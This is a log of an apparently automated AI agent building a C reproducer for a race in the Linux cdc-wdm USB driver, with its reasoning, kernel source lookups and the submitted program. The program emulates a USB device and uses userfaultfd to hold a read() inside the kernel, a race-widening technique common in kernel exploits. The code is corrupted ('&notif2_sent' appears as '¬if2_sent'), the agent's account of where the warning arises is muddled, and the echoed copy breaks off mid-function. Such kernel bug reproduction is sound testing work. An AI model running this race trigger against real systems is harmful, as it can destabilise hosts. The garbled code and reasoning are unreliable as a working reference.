My next area of scrutiny was `USB_RAW_IOCTL_EP_ENABLE`. This was important because it provided a contrast. I saw that for `EP_ENABLE`, the code calls `raw_ioctl_ep_enable(dev, value)`, and within `raw_ioctl_ep_enable`, it *does* use `copy_from_user(&desc, (void __user *)value, sizeof(desc))`. This unequivocally showed that for `EP_ENABLE`, `value` *is* a pointer to user-space data, as one would typically expect from `_IOW`. This contrast solidified my understanding: `EP_SET_HALT` behaves differently, treating `value` as an integer, while `EP_ENABLE` adheres to the pointer expectation.
Finally, I turned my attention to the potential race condition in `ep1_thread`. The code `if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in) < 0)` aims to send a STALL to trigger `wdm_rxwork`. My concern arose from `raw_ioctl_ep_set_clear_halt_wedge`'s check: `if (dev->eps[i].urb_queued)`. I knew that `urb_queued` is set when `USB_RAW_IOCTL_EP_WRITE` is called, indicating the *gadget* has an URB ready to send. If the host has previously submitted an IN URB, and the gadget hasn't yet responded, `dev->eps[i].urb_queued` *could* be true, leading to an `EINVAL` error.
I then considered my own code's `ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1)`. This call submits an IN URB from the gadget to the host. My initial thought was that the completion of this URB would clear `urb_queued`. However, I then recalled `wdm_int_callback`. This callback *always* resubmits the IN URB (`rv = usb_submit_urb(urb, GFP_ATOMIC);`). This means that if the host is actively polling the interrupt endpoint, there will *always* be a gadget-side IN URB pending.
This led me to a crucial clarification: `urb_queued` in the `raw_gadget` driver refers to whether the *gadget* has queued an URB to send data, not whether the *host* has requested data (which is what happens when the host polls the interrupt endpoint). The host requesting data is a host controller function. The gadget queuing an URB is a gadget driver function initiated by `USB_RAW_IOCTL_EP_WRITE`. Since `USB_RAW_IOCTL_EP_WRITE` is synchronous (or at least, appears to be from my usage), and `wdm_int_callback` immediately resubmits, `urb_queued` will likely be true during the critical window where I might want to call `EP_SET_HALT` if the host is polling. This means the STALL operation could fail with `EINVAL` because the gadget has an outstanding URB. I need to ensure that `USB_RAW_IOCTL_EP_WRITE` has completed and the URB is cleared *before* attempting the STALL.
|
| 410/4 |
2026/09/11 23:38 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:raw_ioctl_ep_write]
Results: map[SourceCode:1144: static int raw_ioctl_ep_write(struct raw_dev *dev, unsigned long value)
1145: {
1146: int ret = 0;
1147: char *data;
1148: struct usb_raw_ep_io io;
1149:
1150: data = raw_alloc_io_data(&io, (void __user *)value, true);
1151: if (IS_ERR(data))
1152: return PTR_ERR(data);
1153: ret = raw_process_ep_io(dev, &io, data, true);
1154: kfree(data);
1155: return ret;
1156: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 411/4 |
2026/09/11 23:38 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 45734
output: 31
thoughts: 25
Thoughts: **My Thought Process**
Okay, so I'm digging into this code, specifically `raw_process_ep_io`. My immediate observation is that it doesn't just *initiate* the I/O operation; it actually *calls* `usb_ep_queue` and then, crucially, *blocks* and waits for that operation to complete. This is a significant detail for understanding the control flow and potential blocking behavior within this part of the USB driver.
|
| 412/4 |
2026/09/11 23:38 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:raw_process_ep_io]
Results: map[SourceCode:1058: static int raw_process_ep_io(struct raw_dev *dev, struct usb_raw_ep_io *io,
1059: void *data, bool in)
1060: {
1061: int ret = 0;
1062: unsigned long flags;
1063: struct raw_ep *ep;
1064: DECLARE_COMPLETION_ONSTACK(done);
1065:
1066: spin_lock_irqsave(&dev->lock, flags);
1067: if (dev->state != STATE_DEV_RUNNING) {
1068: dev_dbg(dev->dev, "fail, device is not running\n");
1069: ret = -EINVAL;
1070: goto out_unlock;
1071: }
1072: if (!dev->gadget) {
1073: dev_dbg(dev->dev, "fail, gadget is not bound\n");
1074: ret = -EBUSY;
1075: goto out_unlock;
1076: }
1077: if (io->ep >= dev->eps_num) {
1078: dev_dbg(&dev->gadget->dev, "fail, invalid endpoint\n");
1079: ret = -EINVAL;
1080: goto out_unlock;
1081: }
1082: ep = &dev->eps[io->ep];
1083: if (ep->state != STATE_EP_ENABLED) {
1084: dev_dbg(&dev->gadget->dev, "fail, endpoint is not enabled\n");
1085: ret = -EBUSY;
1086: goto out_unlock;
1087: }
1088: if (ep->disabling) {
1089: dev_dbg(&dev->gadget->dev,
1090: "fail, endpoint is already being disabled\n");
1091: ret = -EBUSY;
1092: goto out_unlock;
1093: }
1094: if (ep->urb_queued) {
1095: dev_dbg(&dev->gadget->dev, "fail, urb already queued\n");
1096: ret = -EBUSY;
1097: goto out_unlock;
1098: }
1099: if (in != usb_endpoint_dir_in(ep->ep->desc)) {
1100: dev_dbg(&dev->gadget->dev, "fail, wrong direction\n");
1101: ret = -EINVAL;
1102: goto out_unlock;
1103: }
1104:
1105: ep->dev = dev;
1106: ep->req->context = &done;
1107: ep->req->complete = gadget_ep_complete;
1108: ep->req->buf = data;
1109: ep->req->length = io->length;
1110: ep->req->zero = usb_raw_io_flags_zero(io->flags);
1111: ep->urb_queued = true;
1112: spin_unlock_irqrestore(&dev->lock, flags);
1113:
1114: ret = usb_ep_queue(ep->ep, ep->req, GFP_KERNEL);
1115: if (ret) {
1116: dev_err(&dev->gadget->dev,
1117: "fail, usb_ep_queue returned %d\n", ret);
1118: spin_lock_irqsave(&dev->lock, flags);
1119: goto out_queue_failed;
1120: }
1121:
1122: ret = wait_for_completion_interruptible(&done);
1123: if (ret) {
1124: dev_dbg(&dev->gadget->dev, "wait interrupted\n");
1125: usb_ep_dequeue(ep->ep, ep->req);
1126: wait_for_completion(&done);
1127: spin_lock_irqsave(&dev->lock, flags);
1128: if (ep->status == -ECONNRESET)
1129: ep->status = -EINTR;
1130: goto out_interrupted;
1131: }
1132:
1133: spin_lock_irqsave(&dev->lock, flags);
1134:
1135: out_interrupted:
1136: ret = ep->status;
1137: out_queue_failed:
1138: ep->urb_queued = false;
1139: out_unlock:
1140: spin_unlock_irqrestore(&dev->lock, flags);
1141: return ret;
1142: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 413/4 |
2026/09/11 23:38 |
llm |
repro-generator |
1m
Model:
Tokens:
input: 47120
output: 4494
thoughts: 9122
Thoughts: **The Race Condition I've Discovered and How It Works**
Ah, yes, I've been digging into this particular USB raw gadget behavior, and I think I've finally pieced together the exact sequence that leads to the warning I'm seeing. It's a bit intricate, involving several threads and a careful timing of events, but once you see the interplay, it makes perfect sense.
It all hinges on the `ep1_thread` and its interactions with the gadget's control transfers and the userfaultfd mechanism. Initially, I was concerned about `raw_process_ep_io` waiting for completion and then setting `ep->urb_queued = false`. This seemed promising for the `USB_RAW_IOCTL_EP_SET_HALT` call to succeed after `USB_RAW_IOCTL_EP_WRITE` returned. I also considered whether setting a halt on EP1 while the host wasn't polling would cause issues, but given the host's regular polling interval, that seemed unlikely to be the primary problem.
The real crux of the matter lies in how `ep1_thread` orchestrates notifications and then triggers a STALL, all while the `read()` operation on the `cdc-wdm` device is blocked by userfaultfd. My initial thought was that the `read()` call, being in `wait_event_interruptible`, would block until data was available, meaning we *had* to send a notification first to unblock it. This would then trigger `wdm_int_callback`, submit `desc->response`, and eventually lead to `wdm_read` completing and hitting userfaultfd.
However, I realized that if `desc->response` (which is a control read for the gadget) doesn't complete before the `read()` operation gets to the `copy_to_user` stage, the `read_blocked` flag would never be set, and `ep1_thread` would be stuck waiting. This would lead to a deadlock.
The breakthrough came when I re-examined the timing in `ep1_thread`. It sends *both* notifications on EP1 *before* it sets the `notif2_sent` event and *before* it waits for `read_blocked`. This is critical. The first notification unblocks the host's `wdm_int_callback` which submits the control read. The gadget receives this control read, but crucially, it *waits* for `notif2_sent` before responding. Meanwhile, `ep1_thread` sends the second notification, sets `notif2_sent`, and *then* waits for `read_blocked`.
This means that by the time the gadget *does* respond to the first control read, `notif2_sent` is already set, and the host has received the second notification. This allows `wdm_in_callback` to set `WDM_READ`, and `wdm_read` proceeds to `copy_to_user`, hitting the userfaultfd page fault. At this point, `uffd_thread` sets `read_blocked`, which unblocks `ep1_thread`.
Immediately after unblocking, `ep1_thread` sends a STALL on EP1. This STALL is received by the host, causing `wdm_int_callback` to get an `-EPIPE`, schedule `wdm_rxwork`, and submit `desc->response` again (a second control read). The gadget, as designed in this scenario, ignores this subsequent control read, leaving its URB active.
Then, `ep1_thread` resolves the userfaultfd, allowing `wdm_read` to finish `copy_to_user`. The problem occurs here: `wdm_read` calls `service_outstanding_interrupt`, which checks `desc->resp_count`. Since it's 2 (from the first submitted `desc->response` that was waiting for the control read), it decrements it to 1 and then, *crucially*, submits `desc->response` *yet again*. This is where the warning, "WARNING: USB_RAW_IOCTL_EP_WRITE called while URB is active," originates.
The sequence of operations – the specific timing of notifications, the gadget waiting for the second notification before responding to the first control read, the userfaultfd blocking, the STALL, and the subsequent submission of an already active URB – is what meticulously sets up this race condition. The synchronous nature of `USB_RAW_IOCTL_EP_WRITE` ensures that when it returns, the host has processed the notification, and the `desc->resp_count` is already updated, making the subsequent submission of an active URB unavoidable.
I've also spent time verifying the details of the `ioctl` calls, particularly `USB_RAW_IOCTL_EP_SET_HALT` and the data structures like `usb_raw_event_ext` and `usb_raw_ep_io_ext`. I've confirmed that the endpoint index is passed correctly and that the data transfer sizes align with the kernel's expectations for these ioctls, including ensuring correct type promotions for `ioctl` arguments. The potential for subtle issues with argument passing to `ioctl` was also considered and addressed by casting `ep_in` to `unsigned long` for the `EP_SET_HALT` call and using `0UL` for other ioctls that don't expect data. It all seems to be in order, solidifying the understanding that the race condition is indeed in the synchronization and timing of the USB operations.
|
| 414/4 |
2026/09/11 23:40 |
tool |
set-results |
0m
Args: map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_raw_event_ext {
struct usb_raw_event inner;
__u8 data[64];
};
struct usb_raw_ep_io_ext {
struct usb_raw_ep_io inner;
__u8 data[256];
};
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0UL) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event_ext event;
event.inner.type = 0;
event.inner.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.inner.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io_ext io;
io.inner.ep = 0;
io.inner.flags = 0;
io.inner.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.inner.length = sizeof(dev_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &dev_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.inner.length = sizeof(conf_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &conf_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.inner.length = 10;
memset(io.data, 'A', 10);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0UL);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io_ext io_ep1;
io_ep1.inner.ep = ep_in;
io_ep1.inner.flags = 0;
io_ep1.inner.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 2");
}
printf("[+] Second notification sent.\n");
event_set(¬if2_sent);
printf("[+] Waiting for read() to block in userfaultfd...\n");
event_wait(&read_blocked);
printf("[+] Sending STALL on EP1 to trigger wdm_rxwork...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, (unsigned long)ep_in) < 0) {
perror("USB_RAW_IOCTL_EP_SET_HALT");
}
// Wait for wdm_rxwork to start and submit the URB
usleep(200000);
printf("[+] Resolving userfaultfd to finish read()...\n");
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
printf("[+] Page fault detected in read() buffer.\n");
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) {
perror("mmap page");
exit(1);
}
memset(page, 0, 4096);
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, ©) < 0) {
perror("UFFDIO_COPY");
}
printf("[+] Page fault resolved.\n");
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
event_init(¬if2_sent);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
printf("[+] Waiting for /dev/cdc-wdmX to appear...\n");
usleep(500000);
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) {
printf("[+] Opened %s\n", dev_path);
break;
}
}
if (fd_wdm < 0) {
fprintf(stderr, "[-] Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "[-] Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
printf("[+] Calling read() on %s...\n", dev_path);
int ret = read(fd_wdm, addr, 10);
if (ret < 0) {
perror("read fd_wdm");
} else {
printf("[+] read() returned %d\n", ret);
}
// Wait a bit for the WARNING to be printed
sleep(2);
printf("[+] Done.\n");
return 0;
}
]
Results: map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[0];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[0];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_raw_event_ext {
struct usb_raw_event inner;
__u8 data[64];
};
struct usb_raw_ep_io_ext {
struct usb_raw_ep_io inner;
__u8 data[256];
};
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
event_t notif2_sent;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0UL) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
printf("[+] Gadget initialized and running.\n");
while (1) {
struct usb_raw_event_ext event;
event.inner.type = 0;
event.inner.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.inner.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io_ext io;
io.inner.ep = 0;
io.inner.flags = 0;
io.inner.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.inner.length = sizeof(dev_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &dev_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.inner.length = sizeof(conf_desc);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
memcpy(io.data, &conf_desc, io.inner.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
printf("[+] Received first Control Read (0xA1 0x01), waiting for Notif 2...\n");
event_wait(¬if2_sent);
usleep(100000); // Give host time to process Notif 2
printf("[+] Responding to first Control Read.\n");
io.inner.length = 10;
memset(io.data, 'A', 10);
if (io.inner.length > req->wLength) io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
printf("[+] Received subsequent Control Read (0xA1 0x01), ignoring to hang URB.\n");
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0UL);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0UL);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
printf("[+] Endpoint EP1 IN enabled (index %d).\n", ep_in);
if (!__atomic_load_n(&gadget_ready.state, __ATOMIC_ACQUIRE))
event_set(&gadget_ready);
} else {
printf("[-] Failed to enable EP1 IN\n");
}
} else {
io.inner.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io_ext io_ep1;
io_ep1.inner.ep = ep_in;
io_ep1.inner.flags = 0;
io_ep1.inner.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
printf("[+] Sending first notification on EP1...\n");
if (ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1) < 0) {
perror("USB_RAW_IOCTL_EP_WRITE 1");
}
printf("[+] Sending second notification on EP1...\n");
